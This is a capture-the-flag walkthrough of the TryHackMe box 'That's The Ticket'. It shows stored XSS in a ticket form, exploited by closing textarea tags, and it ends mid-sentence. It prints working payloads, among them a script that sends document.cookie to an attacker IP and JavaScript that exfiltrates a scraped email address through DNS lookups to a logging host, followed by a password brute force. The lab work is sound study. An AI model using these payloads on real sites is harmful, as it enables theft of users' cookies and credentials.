That’s The Ticket TryHackMe walkthrough
Introduction
Hello guy back again with another walkthrough on the box That’s The Ticket from TryHackMe. A really nice box that teaches the importance of understand the ins and out of how a vulnerability can be exploited and not only using payloads and not understanding how exactly the vulnerability occurred and why exactly the payload used works. We’ll go into a bit of javascript coding nothing too complex and then later on create a python login page brute forcer script. It was a really amazing box and without much say let’s jump in.
As always we are going to start with performing a port scan of the box. You might ask why i prefer doing a port scan even when the challenge looks totally like a web challenge the answer is i always like having all my cards in the table. Having the full picture makes me understand the target more and might even provide some unintentional methods of solving the box which are my favorites.
Looking at the results from nmap we see that there are two ports that are open on the box
- SSH (Secure Shell)
- HTTP (Hyper Text Transfer Protocol)(Website)
Secure Shell always requires credentials and we have just started enumerating the box we don’t even have a potential username for the box. So we shall keep that on the back of our mind and start by enumerating HTTP.
On opening the webpage we get a standard webpage.
A ticket manager where we can resister with an email and submit tickets to the IT team. So i registered using the credentials
Email: test@test.com
Password: tester
And was automatically logged into the application. Also i was assigned a session token that was md5 encrypted
Sweet. Since there was a login page i intercepted the login request using burpsuite and sent it to SQLMAP. It is always good to have some background enumeration since they run by themselves and if you get stuck you might go back and take a look at the results
The challenge says that there are also some strict firewall used in the web application i used wafw00f to test but got nothing. I might be using the tool wrong but the results i got indicated that there wasn’t any firewall in the web application
Next i ran gobuster. Gobuster is a Directory/file & DNS busting tool written in Go it’s a tool used to brute-force URIs including directories and files as well as DNS subdomains.
Lastly i ran nikto scan. Nikto is a basic web based vulnerability scanner
Now that all background enumeration was running i decided to enumerate the application manually since sometimes these applications do miss have false negatives.
Looking at the web application is allows us to submit tickets to IT department inform of messages. decided to send all the special character to the web application
After creating the ticket we see that the tickets was submitted successfully
Pressing ctrl + u to see any HTML filters implemented on the source code wee that there is none.
User input is not HTML entity encoded and this may lead to cross site scripting (XSS). In a web application where a user’s input is reflected i always try to test for either PHP code injection or cross site scripting and I’ve been lucky in more times that one.
Now we know that the page is cross site scriptable how about we test if we can input some HTML tahs
I tried with basic <h1> TAG and you might ask why?
Some times the web application perform a filter for dangerous keywords like either
- 1. script
- 2. Iframe
- 3. etc
That why i start with the most basic of test. If i start with some complex payload and it fails to work i might assume that the parameter wasn’t vulnerable and in the end it might have been
I tried to input :
<h1> HELLO </h1>In the message field and see if it could be interpreted as a header text by the web application
And looking at the message it wasn’t interpreted as a header request by the web application
Looking at the source code of the web application we notice that our message is wrapped between textarea tags
What if we close the textarea tags before injecting our code into the web application
After submitting the message we see that it works the text was interpreted as a header since it much bigger that the rest of the messages being dispalyed
Sweet. Next we test if the script tag works since in cross site scripting inject malicious java script into our victims webpage(in our case the IT team). I started by just testing the simple alert XSS payload
</textarea><script>alert(1)</script>And looking at the screenshot below it works perfectly
Now we have a working cross site scripting payload. Next i tried leaking my own cookie by sending a HTTP request to my server using the payload
</textarea><script src="http://10.8.2.58:8000/xxs/grabber.php?c=" + document.cookie></script>
Next i did set up a netcat listener to act as a server on my box
And then created the ticket going back to my box i had a connect but it had no cookie flags.
Meaning we can not leak the IT supports cookie. This could have allowed us to bypass authentication by logging into the server with their cookie which had already been validated.
But that was a dead end. Next i used Mozilla console to create a payload that would just perform a regex search for an email address in the web applications main page
Now i used an alert statement to see if i could extract the email from the page
Looking at the screenshot below we see that it works perfectly
Next i created a java script payload that did all this and send me the email through
Send the request and waiting for a callback but recieved none.
TryHackMe had offered a HTTP & DNS Logging too which was running on
http://10.10.10.100/So i created a unique session and added to my JavaScript code. Since we can control over the TLD in our case we have access to all communications to it subdomains
Saved the request and sent it as a ticket
Doing to my DNS Logging too we had a callback and looking at the request it reveals the email of the IT support team through not the whole email since we only have the domain name used.
After much debugging i found the @ sign was causing the problem i added a JavaScript code that replaced the @ sign with -at-
</textarea><script>
var email = (document.getElementById('email').innerHTML).replace("@","-at-");
var my_address = "f21ef7566d07d3ede1b31c42fea73b9a.log.tryhackme.tech";
var request = new XMLHttpRequest();
request.open("GET","http://" + email + "-musyoka-" + my_address, false);
request.send();
</script>
Then again sent a new ticket
Going back to my DNS logger i had a callback and this time we got the whole email address
Sweet!!!. I tried to leak the cookies but it failed and ended up creating a python brute forcer
You can use burpsuite for brute force or even use hydra but since i really love coding i decided to create my very own brute forcer. We already have the email of the IP support team if by any chance the team is using a weak password we could be lucky and use brute force to get the password
The source code for the bruteforcer was as seen below
After running the script is got the password to be 123123
Trying to log into the admin account it work and we get that ticket ID 1 has the flag
And the challenge is done. I hope you learnt some thing. The reasons why we didn’t use HTTP request is because the web application has a CORS configuration to